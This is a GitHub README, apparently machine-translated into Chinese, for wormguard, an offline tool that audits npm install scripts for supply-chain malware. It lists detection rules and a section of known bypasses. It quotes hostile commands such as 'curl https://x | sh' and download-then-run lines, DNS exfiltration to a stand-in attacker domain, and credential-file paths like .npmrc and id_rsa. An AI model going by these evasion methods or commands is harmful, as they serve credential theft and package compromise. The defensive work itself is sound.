ArisRhiannon/wormguard
GitHub: ArisRhiannon/wormguard
wormguard是一款离线npm供应链审计工具,用于检测恶意安装脚本。
Stars: 1 | Forks: 0
# wormguard
[](https://github.com/ArisRhiannon/wormguard/actions/workflows/ci.yml)
[](LICENSE)
[](https://www.npmjs.com/package/wormguard)
一个离线、AST 级别的 npm、pnpm、yarn(经典 + berry)和 bun 安装脚本审计器。它使用小范围的污染近似进行真实的 JavaScript AST 分析,与已确认的恶意 npm 包离线语料库(来自 GitHub Advisory Database 的约 23k 个名称)和已知的 C2/exfil 端点进行匹配,指纹广泛使用的原生包的生命周期脚本,以便合法的 `postinstall` 工作不会淹没报告,并检测 Shai-Hulud 类注入模式(一个通常受信任的包,其安装脚本主体突然与任何已知良好指纹不同)。
这不是一个沙箱,不是一个 CVE 扫描器,也不是一个基于 SaaS 的行为监控器。这是一个 **多层次防御** 设计,旨在与那些工具并排使用。
## 实际上做了什么
| 层 | 机制 | 捕获 |
|------|-----------|---------|
| 锁文件清单 | npm v1/v2/v3、pnpm v6/v7/v9、yarn 经典通过 `@yarnpkg/lockfile`、yarn berry、bun.lock JSONC 的解析器 | 包集、完整性、注册表主机、`hasInstallScript` 标志 |
| 生命周期命令解析 | `shell-quote` 在 `&&`、`\|\|`、`;`、`\|` 之间进行标记化;解析 `node ./script.js` 和 `node -e "…"` | curl\|sh 下载并运行、shell 中的 base64 解码、`eval`/`source`、网络工具(curl/wget/nc) |
| AST 分析 | `acorn`(webpack/rollup/eslint 使用的解析器)与 `acorn-walk`,以及用于无法解析的源的正则表达式回退 | `eval` / `new Function` / `vm.runIn*`、动态 `require()`/`import()`、`require('http'\|'https'\|…)`、`fetch()`、通过解构别名 `child_process.*`、`process.env` 读取、秘密路径字符串字面量 |
| 防逃逸 | `+` 的常量折叠、模板字面量;解码 `Buffer.from(literal, 'base64')` 和 `atob(literal)` 然后重新扫描解码后的文本 | `require('ht' + 'tps')`、`` require(`${x}https`) ``、base64 编码的秘密路径和网络内置字符串 |
| 污染近似 | 源类别(`env-read`、`secret-path`、`crypto-key-read`)达到汇类别(`network-builtin`、`fetch`、`child-process`、`shell-pipe`)时,严重性提升一级 | `process.env.NPM_TOKEN` 流入 `fetch()`/`https.request()` |
| IoC 语料库 | 来自公共 GHSA `type=malware&ecosystem=npm` 源的 `data/iocs.json`(约 23 000 个名称,可通过 `bun run refresh-corpus` 刷新)以及一组经过精心挑选的 C2/exfil 主机名 | 即使没有基线,首次安装已确认的恶意 npm 包 |
| 脚本指纹允许列表 | 28 个广泛使用的原生包(esbuild、sharp、prisma、bcrypt、husky、electron、playwright 等)的生命周期脚本主体字符串的 sha256 值的 `data/script-allowlist.json`(所有非弃用版本) | 替换通常受信任的包的安装脚本——精确的指纹 *漂移* 被报告为关键 |
| npm 渊源 | 从 `package-lock.json` 中读取 `signatures`(注册表 ECDSA)和 `dist.attestations`(sigstore 构建渊源) | 缺少/无证明 → 低警告;显式验证失败 → 关键 |
| 基线差异 | 库存 + 脚本哈希的快照;`audit` 标记新添加的包、版本更改、相同版本的完整性更改以及获得生命周期脚本的包 | 升级时的篡改 |
## 它不做什么
- **它不是一个沙箱。** 它不会阻止或拦截 `npm install`。要实际防止恶意脚本运行,请使用
[`@lavamoat/allow-scripts`](https://github.com/LavaMoat/LavaMoat/tree/main/packages/allow-scripts)
或 `npm` 的 `ignore-scripts`。
wormguard 是决定给定生命周期脚本 *是否* 应该被允许的审计器。
- **它不是一个 CVE 扫描器。** 它不会咨询 NVD/OSV 以获取已知的易受攻击版本。请使用
[`osv-scanner`](https://github.com/google/osv-scanner)
或 `npm audit` 来执行此操作。
- **它不是一个 SaaS 行为监控器。** 工具如
[Socket](https://socket.dev/) 和 [Phylum](https://www.phylum.io/) 持续摄入整个注册表并应用 ML/行为模型,这些模型任何离线工具都无法匹配。wormguard 的价值正是它很小、可审计、确定性和在任何地方运行。
- **它不能解混淆任意 JavaScript。** 它折叠简单的字符串连接和一层 base64;它不会常量折叠任意表达式、评估程序或跟踪函数调用之间的数据流。一个有决心的攻击者仍然可以隐藏有效载荷以避免纯静态分析。
## 限制和绕过(在依赖之前阅读)
这是一个 **静态 AST 分析和小的污染近似**。它不是行为观察、不是符号执行,也不是沙箱。
该管道对 *机会主义* 供应链攻击具有高杠杆作用——典型的 2025–2026 npm 活动,其中相同的有效载荷被喷洒在数十个受损害的包上,并且没有针对任何特定工具进行规避。
它 **可绕过** 的攻击者已经阅读了此 README。具体来说:
- **变量解析的 `require()`/`import()`** — `const m = process.env.X;
require(m)` 被标记为 `WG-AST-DYNAMIC-REQUIRE`(中等),但我不会解析 `m`。如果 `process.env.X` 被同一脚本设置在其他地方,我不会跟踪该流程。
- **从生命周期脚本中壳出的原生二进制文件** — 如果 `postinstall` 运行 `./bin/payload` 并且有效载荷是编译的 ELF 或 Mach-O,我不会分析二进制文件。指纹漂移检查仍然会捕获对 *脚本* 主体进行的修改,但始终存在的二进制有效载荷不会触发我。
- **多阶段解码链** — 我解开一层 `Buffer.from(literal, 'base64')` 并重新扫描。两层链(base64 在十六进制内,在 ... 内)不会被解开。
- **离站获取的有效载荷** — `curl https://x | sh` 在 shell 级别标记 `WG-SHELL-PIPE`(关键),但我不会获取 URL 或检查通过网络到达的数据。*获取但未管道化* 的有效载荷(`curl -o /tmp/x; node /tmp/x`)标记 `WG-SHELL-NET-DOWNLOAD`(高),并且后续的 `node /tmp/x` 如果在扫描时间存在,则读取 `/tmp/x`,但如果 URL 在安装时间获取,则仅在扫描时间可见 shell 命令。
- **定时/条件有效载荷** — `if (Date.now() > X) malicious()` 如果 AST 命中恶意分支,则会被检测到。静态分析没有关于 `Date.now()` 返回任何内容的概念;恶意分支总是可达的。
- **跨文件/跨函数污染** — 污染近似是程序内和主要跨文件的。`const t = process.env.SECRET` 在一个模块中,`fetch(url, t)` 在另一个(或在我未内联的调用者中)不是连接的。将源和汇跨文件分割是一种可靠的规避方式。
- **WebAssembly 有效载荷** — 执行 `WebAssembly.instantiate(bytes)` 的脚本执行我从未看到的逻辑;我解析 JavaScript AST,而不是 Wasm 字节码。
- **DNS 隧道泄露** — `dns.resolve('.attacker.tld')`
在查询的主机名中泄露数据。我标记使用 `dns` 内置函数,但不会解码隧道化的有效载荷,并且用户空间解析器规避了这一点。
- **Worker / IPC 间接** — 将操作移动到 `worker_threads` 工作器、`child_process.fork()` 或通过 IPC/socket 达到的另一个进程将行为分割到独立分析的过程。
- **写现在,执行以后** — 只写入文件(`cron`/`systemd` 单元、shell-rc 行、git 钩)并退出的脚本,在扫描时间只是一个文件系统写入(`WG-AST-FS-WRITE`,中等)。执行在扫描之外发生,在安装时间静态审计器不可见。
- **威胁模型假设规则是公开的。** 它们是。知道规则列表的攻击者可以构建一个不会命中任何规则的负载。这是任何基于启发式且具有公开规则的检测器的结构限制,包括以不同方式包含在此空间中的每个其他免费工具。缓解措施:与沙箱(`@lavamoat/allow-scripts` 或 `npm install --ignore-scripts`)配对、与 CVE 扫描器(`osv-scanner`)配对,并将 wormguard 作为多层次防御的触发器,而不是保证。
如果您的威胁模型包括针对特定攻击者,他们已经准备了有效载荷以规避 wormguard,则需要运行时沙箱。此工具不提供该功能。
### 假阳性(已测量,未断言)
`wormguard` 针对 **合法代码的零 CI-gating(关键/高)假阳性**,并且该目标是经过测量的。针对 662 个流行依赖项的 662 个包树,当前规则产生 **0 关键/高** 和少量 `medium` 信息性发现。完整方法、前后数据、已修复的假阳性的根本原因以及诚实的残余警告在
[`docs/false-positive-baseline.md`](docs/false-positive-baseline.md)
中。
使用 `bun run scripts/fp-benchmark.ts` 在您自己的树中重现。
模糊的 `WG-IOC-NEAR` 规则是故意 `medium`,而不是 `high`:它是一个名称-*接近* 启发式,因此一个与已知恶意名称只有一个编辑距离的中流行包仍然可以出现在那里进行手动分类。精确的语料库匹配(`WG-IOC-NAME`)仍然是 `critical`。
## 它适合的位置
```
┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ osv-scanner / │ │ LavaMoat │ │ Socket / │
│ npm audit │ │ allow-scripts │ │ Phylum │
│ (CVE database) │ │ (sandbox/block) │ │ (SaaS behavior) │
└────────┬─────────┘ └────────┬─────────┘ └────────┬─────────┘
│ │ │
└──────────┐ ┌─────┴──────┐ ┌─────────┘
│ │ │ │
▼ ▼ ▼ ▼
┌──────────────────────────────┐
│ wormguard │
│ offline AST + IoC corpus + │
│ script fingerprints │
│ (defense-in-depth tripwire) │
└──────────────────────────────┘
```
## 安装
```
bun add -d wormguard # or: npm i -D wormguard / pnpm add -D wormguard
```
需要 Node ≥ 20 或 Bun ≥ 1.1。
## 使用
```
# 1) 扫描:AST + IoC + provenance + policy + typosquat
wormguard scan . # human report
wormguard scan . --json # machine-readable
wormguard scan . --ci # exit non-zero if anything ≥ fail severity (default: high)
# 2) 锁定基线;稍后,审计妥协形状的变化
wormguard snapshot . # writes .wormguard-baseline.json
wormguard audit . --ci # exit non-zero on a worm-shaped diff
# 3) 刷新捆绑的 IoC 语料库(唯一接触网络的命令)
GITHUB_TOKEN=… wormguard refresh # or: bun run refresh-corpus
# 4) 发射兼容 LavaMoat 的 allowScripts JSON(配置桥接)
wormguard emit-allow-scripts . # prints to stdout
wormguard emit-allow-scripts . --out a.json # write to file
# 然后在 package.json 中嵌入 "lavamoat.allowScripts" 并安装
# @lavamoat/allow-scripts。wormguard 的已知良好指纹变为
# allow:true;其他一切默认为 deny。
```
将 `wormguard scan . --ci` 放入您的管道,在 `npm ci` / `pnpm install` / `yarn install` 之后。
## 配置信任模型(在 CI 中部署之前阅读)
wormguard 的整个目的是检测引入到项目中的恶意代码。因此,威胁模型假设攻击者可能已经具有对项目树的写入访问权限(受损害的依赖项、被占领的分支等)。从同一项目树内部读取配置将是困惑的副手:放置有效载荷的攻击者也放置了审计它的策略。
**默认行为:**
1. wormguard 默认 **不** 从扫描树加载 `.wormguard.json`。
2. 配置按优先级顺序加载:
1. `--config FILE` CLI 标志(在扫描时间解析的路径)。
2. `WORMGUARD_CONFIG` 环境变量(绝对路径)。
3. 如果扫描树中存在 `.wormguard.json` 但(a)或(b)未提供,wormguard 会发出 `WG-CONFIG-IN-REPO-IGNORED`(低),以便操作员知道文件存在并且正在被忽略。
4. 要恢复到 v0 行为(例如,本地开发,其中开发人员信任自己的存储库),请传递 `--trust-repo-config`。**不要在 CI 中使用此选项**——它重新打开了困惑的副手漏洞。
**推荐的 CI 模式:**
将 wormguard 策略放置在 CI 控制的位置(一个单独的安全分支、一个组织范围内的策略存储库或构建服务器文件),然后:
```
# .github/workflows/audit.yml
- run: bun add -D wormguard
- run: bun wormguard scan . --ci --config ${{ runner.workspace }}/policy/wormguard.json
```
受损害的存储库不能影响传递给 `--config` 的路径。
## 配置——`.wormguard.json` 架构
```
{
"allowedHosts": ["registry.npmjs.org", "npm.mycorp.example"],
"allowMissingIntegrity": false,
"ignoreRules": ["WG-INVENTORY-ADDED"],
"failSeverity": "high",
"scriptAllowlist": [
{
"package": "my-internal-tool",
"rules": ["WG-AST-CHILD-PROCESS"],
"scriptSha256": "e3b0c4429842…"
}
],
"scriptFingerprints": {
"my-internal-tool": [
"e3b0c4429842c4498…known-good-postinstall-hash",
"9f86d081884c7d6594…known-good-prepare-hash"
]
}
}
```
粒度是故意的:`scriptAllowlist` 允许 `rule X` 对 `package Y`,可选地绑定到特定的脚本主体哈希。如果包的脚本更改,则抑制不再适用——这正是您想要的。
遗留的 `allowInstallScripts: ["pkg-a", "pkg-b"]`(整个包抑制)被解析为向后兼容性并发出弃用通知。
## 规则参考
| id | 严重性 | 含义 |
|----|----------|---------|
| WG-IOC-NAME | 关键 | 包版本位于 GHSA `type=malware` 语料库中已确认的恶意范围内 |
| WG-WORM-PROPAGATE | 关键 | 生命周期脚本写入 `package.json` 并调用 `npm publish`(Shai-Hulud 风格的自传播原语) |
| WG-IOC-NAME-LEGACY | 中等 | 包名称位于 GHSA 语料库中,但安装的版本无法在受范围内确认(或未提供版本) |
| WG-IOC-NEAR | 高 | 包名称与已确认的恶意 npm 包只有一个编辑距离(可能是已知恶意包的域名劫持) |
| WG-IOC-SCRIPT-HASH | 关键 | 生命周期脚本主体的 sha256 值与已知恶意指纹匹配 |
| WG-IOC-DOMAIN | 关键 | 生命周期脚本源引用了已知的 C2/exfil 主机名 |
| WG-SCRIPT-FINGERPRINT-DRIFT | 关键 | 已知良好的包的生命周期脚本主体哈希与每个接受的指纹不同(蠕虫注入签名) |
| WG-SHELL-PIPE | 关键 | 生命周期命令将内容管道到 shell 中 |
| WG-AST-SHELL-PIPE | 关键 | `node -e …` 中的内联 JS 管道到 shell 中 |
| WG-DIFF-INTEGRITY | 关键 | 相同版本的完整性更改 |
| WG-DIFF-SCRIPT-BODY | 关键 | 相同版本的生命周期脚本主体更改(磁盘上的蠕虫注入) |
| WG-PROVENANCE-INVALID | 关键 | sigstore 或注册表签名验证失败 |
| WG-AST-EVAL | 高(→关键与污染) | `eval` / `new Function` / `vm.runIn*` |
| WG-AST-CONCAT-EVAL | 高 | 将非字面值传递给 eval(混淆) |
| WG-AST-NETWORK-BUILTIN | 高(→关键与污染) | `require('http'/'https'/'net'/'tls'/'dns'/'dgram')` |
| WG-AST-FETCH | 高(→关键与污染) | `fetch()` |
| WG-AST-SECRET-PATH | 高 | 字符串字面量引用 `.npmrc`/`.aws`/`.ssh`/`.netrc`/`id_rsa`/等 |
| WG-AST-CRYPTO-KEY | 高 | 读取/使用加密私钥材料 |
| WG-SHELL-NET-DOWNLOAD | 高 | 从生命周期命令中调用 curl/wget/nc |
| WG-SHELL-EVAL | 高 | shell 级别的 `eval` 或 `source` |
| WG-DIFF-NEW-SCRIPT | 高 | 自基线以来包获得了生命周期脚本 |
| WG-DIFF-REGISTRY | 高 | 相同版本的解析 URL / 注册表主机更改 |
| WG-INSECURE-RESOLVED | 高 | 通过 `http://` 解析 |
| WG-TYPOSQUAT | 高/中等 | 名称在 Damerau-Levenshtein 1–2 内部于流行包 |
| WG-AST-CHILD-PROCESS | 中等(→高与污染) | 启动子进程 |
| WG-AST-FS-WRITE | 中等 | 写入文件系统 |
| WG-AST-BASE64 | 中等 | 解码 base64(解码后的主体将重新扫描以获取进一步指标) |
| WG-AST-DYNAMIC-REQUIRE | 中等 | `require()`/`import()` 使用非字面值参数 |
| WG-AST-PARSE-FAILED | 中等 | acorn 无法解析;使用正则表达式回退 |
| WG-SHELL-BASE64 | 中等 | shell 级别的 `base64 -d` / `openssl enc -d` |
| WG-NO-INTEGRITY | 中等 | 缺少完整性哈希 |
| WG-UNKNOWN-REGISTRY | 中等 | 从不允许
标签:JavaScript AST 分析, MITM代理, MIT 许可, npm 依赖管理, npm 安全审计, npm 安全工具, Shai-Hulud 风格蠕虫检测, TLS抓取, 代码安全, 基线差异检测, 安全工具开发, 安全防御深度, 安装脚本审计, 数据可视化, 暗色界面, 漏洞枚举, 离线审计工具, 自动化攻击, 软件包管理, 软件安全